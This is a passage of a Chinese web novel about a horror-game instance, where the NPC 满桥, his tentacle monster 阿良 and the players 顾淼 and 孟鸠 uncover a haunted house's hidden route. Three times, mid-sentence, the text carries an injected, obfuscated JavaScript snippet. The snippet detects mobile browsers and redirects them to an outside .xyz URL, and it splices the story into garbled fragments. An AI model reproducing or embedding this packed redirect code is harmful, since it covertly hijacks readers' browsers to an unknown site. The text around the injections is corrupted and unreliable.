“女儿孝顺,女婿有才。” 嫁出去的女儿泼出去的水。 他们笑眯眯的拉起手,步履沉稳地出门去。 “我们得让大姐回她家去。” 屋子重新恢复了安静,满桥好像从刚刚的思考中缓过神来,他肘了一下身后的顾淼。 “出去。” 顾淼:“卡住了。” 满桥冷笑:“谁叫你这么大。” 顾淼微妙沉默两秒。 满桥:“……啧。” 他又是一肘。 “别什么都往下流的想。” 从柜子里钻出来,阿良立刻环抱满桥,表现出正宫气势。 顾淼假装看不到。 “他们被同化了?” 满桥:“你不是都看到了吗?” 灵堂的确放了孟老爷的传记,但仅凭一本传记能推断出多少内容呢? 女儿孝顺,女婿有才。 怎么女儿就一定是大姐,怎么就多出来一个不存在的“女婿”呢。 满桥:“你真的觉得这座宅子有规矩?” 红发美人挑眉。 “可怜。” “越拼命维护的越成为自己的牢笼,越想活命的死的越快。” 满桥的眼睛扫过屋子,最终只是叹了口气。 “作孽。” 18.第 18 章 螺旋虽然百分百不是什么好地方,但也不会真的留下一个不可能完成的死局副本。 杀人不过头点地,布置一个不可能解决的副本就为了收割一波一波的玩家生命? 那有什么意思。 新丧这个不是不能完成了,只是变数太多了。 副本每次收纳18名玩家进入,不出意外的话有两条通关路径。 一条,完成孟家长子想要的葬礼,虽然简单,但是操作困难,死亡风险大。 另一条,完成孟老爷的葬礼,需要玩家几乎一半脑子在线且敢想敢做,至少有几个关键的扮演者必须有手段,但只要一环扣一环的完成下来,基本不会死人。 这波玩家质量如何是显而易见的。 顾淼:“满老师,你……” 满桥做好了准备,猜测顾淼可能会询问的问题。 “你擦伤了。” 满桥:“……嗯?” 顾淼上前,阿良环住满桥,拒绝情敌的靠近。 顾淼:“你知道满桥伤在哪里吗?” 顾淼游动的肢体沉默了,它有点尴尬。 满桥:“……没事,阿良,让他看看吧。” 怪物毕竟是怪物,他可以检测满桥的身体信息,察觉到满桥身上的变化,但因为自身和脆弱妻子的巨大差距,阿良想要敏锐注意到满桥身上细小的擦伤实在有点难度。 触手后撤,让出空间,顾淼捧起满桥的手,像捧起一块价值连城的翡翠。 “不严重,只是有点破皮。” 满桥:“不然呢。” 顾淼:“但满老师还是要多注意身体。” 满桥挑眉,冷笑:“听起来,你现在是很在乎我的身体了。” 顾淼周身气质骤然一沉,他微微抬眼,眼神暴露出之前从未显现的压迫感。 “……上次一别,我不能不在意您的身体。” 这一瞬间倒是有点高质量玩家的意思了,想要什么就盯上,动手抢,看起来绝不服输。 但是同为玩家,顾淼的压迫感和孟鸠的压迫感也是不同的。 孟鸠像一只离群索居的狼,他危险在他玩世不恭,看起来对生命毫不珍重。 再横的人也怕不怕死的人。 顾淼不同。 这双眼睛让人觉得他是结网的蜘蛛,精心筹备。 请君入瓮,慢条斯理。 “啪!” 一个轻飘飘的巴掌甩在顾淼脸上,只是听着响,其实没有多少力气。 “谁允许你这样看我。” 顾淼:“……为什么孟鸠就可以这样看你,孟良就可以覆盖你的身体。” 满桥:“不服气?” 顾淼:“……不服气。” 满桥的食指挑起顾淼的下巴。 “那说明你该学的东西还多着呢。” 满桥转身,顾淼拉住满桥的袖子。 满桥:“滚。” 顾淼:“大姐我会去找,我一定把她带来。” 满桥:“说大话。” 顾淼:“不是大话。” 满桥侧目,金色的眼睛中含着怒气:“你不会要告诉我,你要用刚听到的女婿来引大姐出现。” 顾淼:“说笑了。” 顾淼的手被阿良抽了一下,但面不改色:“那都是个死人了。” 大姐的丈夫早就死了。 那位扮演大姐姐夫的玩家,在游戏一开始就高声暴露了自己新手玩家的身份,把自己送上了黄泉,也断绝了新丧能通过孟老爷丧事通关的路。 顾淼:“大家都是死人,是或直接或间接被孟老爷害死的人,怨念不改,在老宅一遍一遍给阳间的活人办死人的事。” 满桥冷嘲热讽:“我倒是不知道,你机灵的这会才知道这件事。” 顾淼:“老宅里没有规矩,因为宅子里守规矩的是孟老爷,他根本就管不到诸位的事。” 他深吸一口气:“给孟老爷办葬礼是咒他,也是因为大家并不清醒,对吗?” 满桥:“……继续说啊。” 顾淼:“大家不清醒,生时被孟老爷磋磨,死后没人压迫,却还是遵循着本能自己压迫自己,外化一个孟老爷的葬礼,做着根本不存在的规矩。” 空气里漂浮着淡淡的霉味,虽然味道不重,但漫长地萦绕在人鼻尖,缓慢地折磨着人的精神。 顾淼:“所以……如果真的有人按照孟老爷的规矩走,大家不仅不会反抗,还会遵循这本能,乖乖完成一出荒谬的……规矩的葬礼。” 满桥:“那怎么没人办呢?” 顾淼:“不是没人办,是能办的人已经死了。” 老宅中大姐主事,大姐心里有怨恨要毁掉孟老爷的规矩,必须有一个和她同样有话语权的人出面才能阻止,显然,这个有话语权的“姐夫”早就死了。 顾淼继续开口:“更何况,现在不是有人心心念念要办事吗?” 满桥缓慢地眨眼。 “……听信了要按照规矩办事的人,最后真的信了莫须有的规矩。” 变成孟老爷的伥鬼,坚信丧事不成是因为规矩不够多。 NPC们混沌地执行自己的人设,玩家也被同化,越来越像老宅的一员。 新丧这个副本,就好像放了慢性毒气的密室,死亡和疯狂的风险随着时间越来越大,侵入人们的大脑,要人一步一步把自己埋进地底。 【恭喜玩家解锁新丧副本隐藏线路,若玩家通关,将为玩家额外发放600游戏币。】 系统提示音来的恰到好处,还聚集在灵堂的剩余玩家一头雾水地得知这个消息,他们尚未推理出到底哪个NPC是由玩家扮演的,人家连隐藏线路都挖掘出来了。 倒是孟鸠吹了个口哨。 “白给啊,这么爽。” 玩家那边如何各怀鬼胎满桥尚且不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569492|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他还沉默着看着顾淼。 面前的人,不是一开始就这样了解这个副本,也不是一开始就能扮演NPC天衣无缝。 满桥审视面前故作谦卑的人,忽然笑起来。 “你没有让我失望。” NPC的感情绝不纯粹。 满桥绝对承认自己的功利和目的。 如果不是一开始就揣摩出顾淼这个玩家身上有点本事,他绝对不会冒然出手帮忙。 满桥:“所以你想告诉我什么呢?” 满桥安抚已经非常不满的阿良,一下一下摸着柔软的触手,他歪头,像神话中诱人交易的美艳魔鬼。 “你想要打探消息,或者求求我你们还有没有活路?” 顾淼:“您说笑了,您不是已经给我们了一条活路吗?” 安静。 几秒的安静,满桥的手指绕着自己的头发、 满桥:“葬礼一般在人死后第三天、第五天,最迟第七天办理,既然是要完成葬礼,我不得不向您请教——顾先生。” 红发美人散发出森森鬼气:“现在……是我死了的第几天呢?” …… 老宅总有下不完的雨。 恐怖副本不是什么轻松的地方。 如果在此之前有人告诉顾淼和孟鸠,他们会在恐怖副本中频繁走神,心思挂牵在一个人身上,他们大概只会觉得荒谬。 可能是如今的天气太冷了。 灵堂中烧着黄纸,焦糊的气味充盈着狭小阴湿的空间,原本挂在孟鸠手腕上的丝巾不见踪影。 似乎这位新得了赏赐的玩家终于有了珍惜的概念,并不舍得让娇贵的丝巾继续直面寒风骤雨。 可能是如今的天气太冷了。 冷的让人有点掉眼泪了。 满桥:“……哭什么。” 游刃有余的红发美人,第一次切实产生一点手足无措的情绪。 顾淼:“……” 满桥:“……别哭啊。” 一米九的男人,身体有两个满桥那么大。 沉默地掉眼泪时候,竟然也会不敢看面前的美人人夫。 满桥的手很白,关节泛着淡粉色。 这样的手,擦掉顾淼的眼泪,被比他大太多的骨节分明的手抓住,又被黏黏糊糊的触手缠住手腕。 “……满桥。” 顾淼的拇指摩挲满桥的手背。 “满桥,满桥。” 顾淼还是会想起这次副本重启之前的事。 火光。 地上的大火。 为什么最爱下雨的地方,地上的大火怎么都烧不净。 新丧每一次结束都以无尽的火终结。 对于任何人类,直面火焰都是可怕的事,哪怕是做好心理准备和脱敏训练的顾淼。 烧不尽的、浇不灭的、不能忘怀的大火。 顾淼:“……三水在害怕。” 19.第 19 章 “那是新丧的第一次开启。” = “顾三水,你怕什么?” 满桥把东西往面前的玩家身上一扔,自己惬意地往沙发上一坐。 漂亮的金色眸子扫过顾淼,满桥发出冷笑。 顾三水……亏的这个玩家能说出这个名字来哄自己。 玩家假扮NPC来获取更多通关信息……这种办法满桥不是没有遇到过,相对而言,面前高大的管家已经算聪明的。 但新丧这个副本有隐藏路线,要不是自己提点,这家伙还是差点暴露。 顾淼:“满老师,我没有害怕。” 他手里还抱着满桥刚刚扔过来的旗袍,他的神情是挑不出错的恭谨,但手却下意识抓紧了旗袍。 旗袍是满桥亲手做的,在做成后被满桥好好熨烫过,喷了香水,尽管如此,顾淼还是幻觉似的在香水之外闻到一点淡淡的属于满桥的香味。 满桥:“你不害怕,你刚刚不敢和大姐说话。” 顾淼:“……” 是自己的失误。 满桥继续开口:“你这样子,我倒是一时不知道该不该让你继续去给大姐送旗袍了。” 顾淼:“……” 他不应该小瞧低级副本,差点就在大姐面前暴露的一干二净。 顾淼:“我没有在害怕,我只是一下子脑子没转过来……” 指节,敲门似的敲了敲顾淼的额头。 满桥笑了。 “行了,别跟孩子似的。” 一缕红发掉在顾淼脸上。 “害怕了就是害怕了,人都会害怕的。” 害怕了就是害怕了。 顾淼没有听过这句话。 这怎么合理呢。 人怎么能说害怕就害怕呢。 把你培养出来,耗费金钱,耗费时间,就是要你有用。 遇上不想做的就不做,遇到害怕的就得到安慰,哪有那么好的事呢。 战士们有扭曲的勇敢。 满桥说的,那太奇怪了。 那太奇怪了。 “害怕了就是害怕了。” 副本通关失败的时候,是顾淼第二次听到这句话。 雨水最多的老宅,结束的时候好像天上在下火。 天上流不干净眼泪,地上烧不干净业果,人站在滚烫的地板之上,皮和眼睛一起化开。 顾淼像疯了一样冲进满桥的房间,心里反复告诫:满桥一定是副本通关的关键角色。 他不是私心。 他不是不想要满桥也眼睛都被烧的掉出来。 他只是要多找点线索。 顾淼到的时候,满桥那已经化作焦炭小房间还有一张摇摇欲坠的桌子。 满桥穿着丝绸的上下装,头发用筷子绾成低低的丸子。 他好像一点也不惊讶顾淼会来找他,审视着顾淼乱七八糟的衣裳,竟然笑起来。 “大火面前,哪有不害怕的。” 顾淼呆呆地站在房间中,窗外是越来越热烈的火焰。 顾淼从满桥的金色眼睛里看到火,从鼻子里闻到火,耳膜被烧的一震一震。 满桥端上来一碗面。 “本来是给自己吃的,看你这时候还来找我,怪可怜的,吃饱了上路吧。” 满桥做饭真的不好吃。 火光之中,顾淼像个固执的小孩。 “我没有害怕,满桥,我没有害怕。” 那时的满桥漫不经心,平静地望着窗外热烈的红色。 满桥:“嗯。” 顾淼:“我没有害怕,我只是觉得有点遗憾。” 没有一次就通关这个游戏,遗憾不知道再见面时你不会记得我。 也在想你会不会像这次一样,在我不熟练时候救我一命。 顾淼不想被满桥这样敷衍,他脱口而出,听起来有点像挑衅:“满桥,你害怕吗?” 那时候满桥怎么说呢,他似乎没想到会有人问他这个问题,月亮一样的眼睛闪过一瞬间迷茫。 很快满桥又笑了,一点也没有顾淼每次见他时候的鬼气森森,满桥像个平常的青年,像溺爱人的哥哥。 满桥:“三水,你真是个小孩。” 面前的是将死的玩家。 背后的是融化的同事伙伴。 满桥的头发和火焰变成一个颜色,眼睛是一面忠诚的镜子。 满桥:“……跟卑荌和二花似的。” = 雨水噼里啪啦。 满桥大概揣测过顾淼的身份和成长环境。 一个普通的玩家不可能有在一个副本失败六次不死的办法,满桥也不相信系统会给玩家提供这样的道具。 除非是顾淼自己有什么特殊之处。 话又说回来,一个普通玩家怎么才能摸到螺旋运行的逻辑,给自己想点办法把自己打造成特别的人呢。 在满桥看来,顾淼身上训练的痕迹挺明显的。 顾淼身上的人性实在不多。 他好像一个被精心教导起来的机器,用心地揣摩恐怖游戏中的规则,一点也没想过自己可能也是要死在恐怖游戏里的。 顾淼以前说他不会害怕。 满桥说快去死吧,哪有人不会害怕。 只是把害怕包装成别的,自己哄着自己,诞生一种不敢细细分析的勇敢。 但满桥也没想过顾淼会有承认害怕的时候。 倒不是满桥觉得顾淼是什么死心眼的人,而是对于顾淼这种人,承认自己的恐惧,某种意义上就是否认了自己过去的信念。 看着顾淼被泪水浸润的颜色更漂亮的眼睛,满桥不知道该说些什么。 眼泪掉进满桥的手心,顾淼没有表情,擦干这点眼泪,任何人都看不出这家伙在哭。 顾淼:“不要问我这种问题。” 满桥:“……什么?” 顾淼:“不要问我这种问题,我会害怕。” 可是自己没有问什么。 他只是问顾淼现在是自己死了的第几天。 而且这分明是一个提示的问话,是给顾淼的提示。 怎么现在连这个问题都不许问呢。 顾淼不语,只是默默再掉几滴眼泪。 满桥:“好了好了,不问。” 他真是造孽,神经兮兮凑上去给玩家帮忙。 顾淼:“其他人被新丧的规矩影响,接下来可能会对大姐不利,我会在其他人之前找到大姐。” 满桥:“少在这给我打包票。” 顾淼:“好。” 满桥:“……” 这么听话,倒是显得他才是那个无理取闹的人。 满桥轻咳一声,很难说自己一点都没有被顾淼这张还算不错的脸掉眼泪打动。 满桥小声念叨:“跟孩子似的。” 顾淼:“早就不是孩子了。” 满桥:“为这么点小事就哭,真是挺幼稚。” 顾淼的神色一点都没有和满桥开玩笑的意思:“这不是小事,而且……” 他的嘴角擦过满桥的掌心。 “孩子不会用掉眼泪来勾引你。” 满桥:。 至少很诚实。 满桥收回手。 “走吧。” 顾淼有自己的事做,没道理一直在这和满桥打情骂俏。 满桥:“还要我送? 顾淼:“不用,但是满老师——您不用再找了。” 满桥:“……嗯?” 顾淼凑近了满桥的耳朵,热气喷在满桥的耳垂上,“您要找的旗袍,我拿到了。” 满桥:“……你……” 顾淼措不及防用唇瓣靠近满桥的耳廓,一点温湿迅速擦过,在满桥意识到顾淼做了什么前,这位胆子不小的玩家先被触手抽了出去。 满桥:“啧。” 一群不老实的。 顾淼若无其事,他的眼神落在满桥身上。 “不敢让您操心。” 他恢复了那副管家恭谨的面孔,只是在两人几乎坦诚相见后,这样的面孔怎么看都是刻意又微妙的挑衅。 满桥不知怎的忽然笑了一下。 他身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574521|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,总是很有活人味。 这是满桥最喜欢的感觉。 老宅的阴雨短暂停歇,顾淼很快消失在满桥眼前,满桥希望他真的能履行自己的承诺,找到大姐。 沉默了许久的阿良绕上满桥的细腰,散发出一种无声的撒娇意味。 阿良似乎不喜欢在有别人在场的情况下和满桥交流,哪怕它和满桥的交流根本不会被除了满桥之外的第二个人听到。 阿良:‘密室。’ 满桥:“嗯,没有忘记。” 他低头,刚刚拥挤的小柜子链接着窄窄的密道,满桥轻叹一口气。 阿良蹭蹭满桥。 满桥:“走吧,去看看。” 去看看……这个被大姐藏起来的地方,到底有什么东西。 = “还有什么好看的。” 玩家这边气氛实在说不上轻松。 为首发起争执的是一个凶神恶煞的男人:“这副本的难度绝对不止低级,这种变异的副本,越拖越危险,有办法通关当然要尽快!” 孟鸠:“太阳可快落山了。” 吊儿郎当的玩家指了指窗户:“刚下完雨,去,你去,烧去。” 男人急了:“你什么意思?” 孟鸠:“字面意思。” 男人:“你他妈——” 中钰:“行了。” 她的波浪长发盘了起来,但依然可以看出发尾有一些烧焦的痕迹。 中钰:“办葬礼不要看时间吗?如果满桥房间的日记都是真话,那现在是孟良死了的第五天,你要是没把握今天就把孟良想要的葬礼安排好,就少在这挑事。” 这句话倒是起了效果,众人一瞬间安静下来。 在场的玩家有6人,除了孟鸠、中钰,还有你那一对情侣,就剩下这个凶神恶煞的男人和一个一直不说话的姑娘。 男人继续开口:“他不就是要那谁做的肉包子,还要把剩下半边宅子烧掉吗?我们现在去烧宅子,难道那个NPC还能顶着火被烧死也不出现……” 孟鸠忽然开口:“你有病吧?” 男人:? “我的策略哪有问题——你今天不把事情办好,就得等到后天,谁知道又会有什么变数!” 中钰:“这是万全之策吗?现在宅子都烧了一半了,先不说刚下过雨点火的可行性,你就告诉我,要是烧完了宅子还是没完成葬礼怎么办?” “那个……” 情侣中的女孩开口:“那要不,我们先找找大姐呢?” 孟鸠:“你也有病?” 场上陷入沉默。 一对情侣似乎挺害怕孟鸠,以至于孟鸠一开口打断他们就闭上嘴。 讨论陷入僵局,又有人开口: “……该死,现在连最后一个玩家都还没找到呢。” 这句话好像逗笑了孟鸠。 “……算了。” 他起身。 “跟你们待着简直是浪费时间,我自己想办法了。” 中钰:“不是,你抽什么风,现在副本已经非常危险,你还……” 一旁,那个一直抱着女朋友窝窝囊囊的男人似乎终于找到说话的机会:“对啊,而且你也不怕擅自行动坏了规矩被……” 孟鸠:“规矩?” 他好像听到了什么搞笑的事。 “……你不会还没意识到吧?” 孟鸠冷笑。 “前面几个玩家会死,根本不是因为规矩,是因为他们在NPC面前暴露玩家身份。” 他慢条斯理,看情侣的眼神带上一点怜悯。 北安混入玩家之中,诱导玩家在她面前说出螺旋的内容,这才是她杀人的手段。 如果真是违反规矩就会被杀死,那别说玩家,连NPC都要死了好几轮了。 沉默持续了几秒,一对情侣眼神躲闪,但显然仍没意识到孟鸠所说的到底是什么意思。 “……得了。” 他观察了两秒两位玩家的神情,忽然长叹一口气,释怀地笑了。 “你们两个——没救了!” 20.第 20 章 “孟鸠没告诉其他人副本真实的现状?” 满桥翻着手里的东西,扫视大姐房间这个他从来不知道的小屋子。 ‘没有。’ 阿良再次去瞄了一眼玩家的情况,给出确定的答案。 满桥:“那他倒是……” 阿良转了一圈,希望在满桥嘴里听到孟鸠坏话的心思表现得十分明显。 满桥:“……算了。” 他本来想说孟鸠有点聪明的,看阿良这样子也不好说出口。 玩家不是一条心,硬要说里面有谁值得信任,也就是那个叫中钰的女生。 真把通关的方法告诉他们,说不准这帮蠢人还能做出什么事。 满桥的注意力收回。 “按照这群人的情况,老宅最多撑到明天也要被烧掉。” 阿良:‘讨厌,火。’ 满桥:“怕火?” 阿良本能瑟缩了一下,但沉默几秒开口:‘现在,不怕。’ ……现在。 满桥看似在阅读大姐留在密室中的手记,实际上脑子转了两圈阿良的回答。 现在不怕,那以前发生了什么,让阿良听到火有本能的厌恶。 满桥不记得曾经的事了,他试探过阿良的口风,这只听话的怪物在面对这个问题时表现出一反常态的拒绝。 一边委屈,好像满桥忘记它是什么罪大恶极的事,一边又不肯透露一点消息。 满桥随手翻过一页笔记。 不管了。 能被忘得一干二净的,能是什么好事。 大姐的手记中杂七杂八记了很多东西,大多是一些菜谱和勾毛衣的教程,看起来丝毫没有放进密室珍藏的必要。 其实与其说柜子连接的是一间密室,倒不如说这就是个勉强有形状的小洞。 密室不大,除了柜子,还有一个梯子可以连接外面,满桥派阿良探出头看过,连接的地方是灵堂角落。 这实际上不符合老宅空间的实际分布,但毕竟这都是一座鬼宅了,满桥接受良好。 房间中只有一个柜子,没有上锁,上半层孤零零挂着一个衣架,满桥猜这上面应该是本来他要找的旗袍。 下半层只放了两样东西,一张抓药用的药单,和这本满桥在看的大姐的手记。 [5月1日] 满桥挑眉。 这一页倒是…… [今日叫卑荌去集市买了两色新线,满桥说要给我做一件旗袍,我又不会其他,想着能给这孩子织一件衣服也是好的。] ……卑荌。 满桥很久没再见过这个名字了。 阿良察觉到满桥的心情似乎不高,像毯子一样把自己铺平盖在满桥背上。 满桥:“……没事。” 他只是又纠结起一些事。 继续翻页。 [5月2日] [红烧狮子头:猪肉馅、油菜、胡萝卜……] 后面的字模糊不清,好像写的人忽然开始乱涂乱画。 [是我做的饭不好吃? 将肉馅放入碗中,加入……为什么?为什么? 再添加辅料……] 又是一段看不清的乱涂乱画。 [满桥,卑荌,二花,都爱吃!] 似乎情绪到达某种临界点,加下来手记上是用笔狠狠划下的痕迹,力度几乎要把纸撕开。 划痕霸占了很大篇幅,再往下才能继续看到字迹,但相比先前的已经有些扭曲: [弟弟在做生意,满桥一人怎么办呢?] 满桥的动作慢下来。 自己在大姐手记中出现的次数有些太多了。 而且…… 满桥向前翻了翻。 这是一本伪造的日记。 连续几篇笔记的痕迹过于相似,分明是在同一时段一起写出来的。 大姐为什么要伪造这篇日记? 大姐现在做饭的确味道不错,满桥在副本重启的这些时候,几乎都是吃大姐做的饭。 倒不是家里没有厨子,只是大姐乐意做给他吃。 但卑荌和二花出现在这里就有点奇怪了。 满桥的手指无意识摩挲笔记,这本笔记在小房子存放了有一段时间,受湿气感染,纸页早就不锋利了。 但阿良还是缠上满桥的手指,缓慢但不可抗拒地迫使满桥停止自己的行为。 满桥:“……你就这时候机灵。” 阿良:。 它绝不能接受这种指控,委屈巴巴地哼唧起来。 “呼呼。” 一旦发声就还是呼呼,满桥有点怀疑怪物的身体可能没有声带这种说法,能发出动静已经很不容易,想要口吐人言实在强怪所难。 满桥:“好啦,你最聪明。” 阿良看出满桥在哄它,但还是勉为其难接受了这个安排。 能被哄也是很好的。 阿良喜欢被哄。 阿良:‘满桥,不高兴?’ 满桥:“……或许?” 红发美人笑起来,摆出模棱两可的态度。 阿良观察几秒,顺着满桥的领口将触手钻进满桥的衣服。 满桥:“等——” 停在胸口。 阿良还是学会了很多东西。 比如说,人类的身体真的很脆弱,不仅会莫名其妙受伤,而且承受能力也十分有限。 这是阿良以前无法理解的。 阿良对人类有一种误解,它以为人类是蛮强壮的。 脆弱的妻子不能承受过量的快感,否则那双漂亮的黄金瞳就会失去对焦,满桥肯定也会不高兴。 所以现在阿良安慰人都只派出触手了。 它忍痛放弃了完全包裹满桥的策略。 心脏,一跳一跳。 阿良要记住这个频率。 满桥:“……乖乖。” 他放在笔记本,暂时没有往下翻。 “……阿良,是活的痛苦好,还是死的莫名其妙好?” 阿良思考,阿良不满。 ‘坏。’ 满桥笑了:“……也是。” 明明都坏。 满桥干脆坐到地上,他知道阿良会把自己摊成薄饼承托自己,不让自己的衣服粘上灰尘。 真奇怪,这时候了才多愁善感。 满桥神游天外。 满桥:“……北安和兰花,是个好听名字,对吧?” = “好听。” 北安晃了晃手里的铃铛。 “好啊兰花,你从哪里弄来的?” 兰花笑的很开心,也就这时候,她们像两个真正十几岁的姑娘。 “我去找满老师,翻到的。” 北安严肃起来:“你怎么能偷拿满老师东西?” 兰花大吃一惊,差点举手发誓:“我绝没有!北安——这是我在满老师钢琴上找到的!” 北安一愣,然后不好意思地脸红。 “……啊,给我的。” 满桥和她说过,给她准备了小礼物,放在钢琴上。 兰花屈膝坐下,她们两人坐在屋檐上,看着天边的太阳一点点坠落。 “今天发生的事可真多啊。” 两人默契地沉默。 太阳是渐变的圆,从上到下,明黄到暖橘,天边是一片橙,漂亮的不可思议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588443|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个小姑娘像两只小猫一样挨着坐,脑袋靠在一起,肩膀贴着肩膀。 老宅中难得有这样安静的时候,她们大多数时间都用来和玩家周旋,或者履行自己家仆的工作,要忙碌的事有很多。 安静会催生一种迷茫。 尤其是在做了不知多少事,却又不甚明白自己到底在做什么事之后的安静。 人总感觉自己不应该闲下来,然而所有事又都不急迫。 这样的节点,怎么还会这样迷茫。 这样忧伤。 北安:“我们到底忘了什么呢。” 我们到底……在做什么呢。 我们……是在贯彻自己想做的事吗? “北安和兰花最开始,是不会主动害玩家的。” 檐上檐下,同一时间。 满桥摸着大姐的手记。 “最开始,这两个小姑娘真是可爱,只知道跟着副本安排的那点记忆做事。” “我们被安排的剧本各有死法,但顾淼说的不错,大家脑子都不清醒。” 不是所有NPC都能意识到自己是个死人了,尤其是像北安和兰花这样角色身份不甚重要的,最开始哪里反应的过来自己是孤魂野鬼呢? 螺旋对于玩家而言不是什么好地方,难道对于NPC就是什么安身之处? 偏听偏信了副本规矩的玩机会被同化,脑袋被影响的蠢笨,那对于相信了副本设定的NPC,这种相信又意味着什么呢? “这是我遇到重启次数第二多的副本。” 满桥好像在和阿良说话,但语调听起来更像是在自言自语。 “至于我遇到的,重启次数第一多的副本——那不重要。” 金色的眼睛显得有些冷漠,一轮理智的月亮一样,评判着地上发生的一切。 “因为没有玩家了解那个副本,也不会有除了我之外的人,记得它。” 触手按在满桥的心口,又有一支探出脑袋,一下一下轻拍满桥的后背,像是在安慰。 满桥:“……我没事。” 他抬头,亲了亲阿良的躯干。 满桥:“我想我知道阿良感受到的‘阴’是什么了。” 满桥笑起来很美,是一种很难用比喻形容的美。 比喻只能将满桥的笑容概括成一种模样,但满桥真实的笑是流动的。 是艳丽的,映衬红发,摇曳着一种诱惑性的危险。 但也是颓靡的。 将开败的花和将盛开的花,两种矛盾状态融洽地呈现在满桥一人身上,摸不透,又让任何一个有审美能力的人无法移开目光。 “阿良以后感受到‘阴’,可以直接把这个形容词替换成——” 满桥故意卖关子,但阿良很耐心地乖巧等待答案,得到满桥一个无奈的摸摸。 满桥:“……就把它替换为,要被螺旋吃掉了。” 自我有记忆以来,新丧是我在螺旋经历的第7个副本。 我经历重启次数第一的副本,重启了9次。 没有人知道这个副本——因为从未有人顺利通关过这个副本。 工人不享受老板的资本,何况NPC甚至算不上螺旋的工作人员。 满桥:“我们是螺旋的构成部分,也是螺旋的养料。” 在这里,除了玩家通关,还有一种关闭副本的方案。 满桥笑着,生和死,欲望和纯真同时展现在这个神秘的美人身上,他看起来漫不经心,但捏着笔记本的手指却本能地用力。 “当重要NPC融化,当我们有谁真心认可了这里,彻底和螺旋融为一体……” 满桥声音轻轻的:“这里,不就也可以关闭了吗?” 21.新丧(20) 满桥意识到卑荌和二花要死的时候,是第三次新丧重启。 虽然满桥这时候未能听到属于玩家的系统提示音,但他已经通过几次观察大概看明白了玩家的目的。 也是在这时候,新丧副本开始出现异变的征兆。 新丧副本最开始的通关的确符合一个低级副本应该有的难度: 大姐不会太过刻意捣乱属于孟老爷的丧事,也没有NPC会伪装成玩家,故意给人挖坑。 玩家只要真的把孟老爷的葬礼办的符合世俗意义上的规矩,这场副本就可以通关。 这看起来是个简单的路子,但每次玩家都会少一点运气。 孟老爷想要的葬礼东西太多太复杂,再加上NPC的误导,大多数人会脑袋晕晕,逐渐搞不清楚老宅的规矩到底是什么。 其实这件事也早有暗示了—— 孟老爷死了第二天的躲钉仪式,如果把印着断子绝孙的银元放进孟老爷口中,玩家就真的会招来杀身之祸。 这是常识,哪有给老人家含口钱是这种不吉利的东西。 但大姐也说了,这是长子留下的规矩,是老宅自己的规矩。 玩家只要看,到底是遵守了老宅的规矩能活,还是遵守了日常的常识能活,就知道老宅中到底运行着怎样一套逻辑。 很可惜,玩家们总是欠点运气。 或是没能放进合适的含口钱,或是躲钉仪式中因为紧张喊不清楚“勿警”,又或者扮演大姐丈夫的玩家死的太早,剩下玩家的身份不能主持局面,被NPC半推半就走向了死亡。 这不是什么好事。 对NPC也不是什么好事。 副本的重要NPC被副本的设定洗脑腐化后,副本会关闭,会变成螺旋的养料。 但像卑荌和二花这样只是在老宅做家仆的小NPC,什么时候融化成一摊水都没人知道。 她们到死都不会再想起自己到底是谁。 满桥本来不应该注意到这样的小NPC。 这样的NPC实在是太多了。 多的有些…… “咚!” 满桥:…… ……什么死动静。 满桥和阿良依然待在昏暗的小密室,张开的笔记本平摊在满桥腿上,阿良在满桥回过神的瞬间就缠上满桥的手腕,显露出一点讨好的意味。 暂时没管阿良,满桥侧耳,刚刚巨大的碰撞声之后,门外的动静倒是消失了几秒,但很快传来有些沉重的脚步声。 阿良收紧了触手,似乎在吸引满桥的注意力,又显得有点心虚。 满桥:“……怎么了?” 阿良乖乖趴在满桥手腕不动了,只晃了晃触手尖尖。 不知道身边的怪物做了什么,但应该过分不到哪去。 满桥安抚地拍了拍阿良,顺着连接密室的通道向外看。 比视觉优先作用的是嗅觉。 血腥味。 满桥皱眉。 狭小的空间,越来越近的脚步声和血腥味,怎么看都不是什么好征兆,但介于对副本可以全盘掌握的副本BOSS现在安安静静,应该不是什么危险。 “嫂子。” 金色的眼睛有一瞬间呆滞,手腕上的触手又紧了两分。 熟悉的称呼,熟悉的纨绔声音。 探头。 一双狼一样的眼睛隔着不算长的通道撞进满桥的视野。 满桥:“……小九?” 孟鸠看着满桥,灿烂一笑。 “嫂子。” 火速晕了。 满桥:…… 满桥:? 谁能想到结束迫使自己结束思考的竟然是这样荒谬的事件。 “你干的?” 满桥慢半拍问心虚的阿良。 阿良:‘……不全是。’ 满桥:“不全是?” 顺着通道爬出,满桥将大姐的笔记本护在怀里。 阿良:‘大部分,不是我。’ 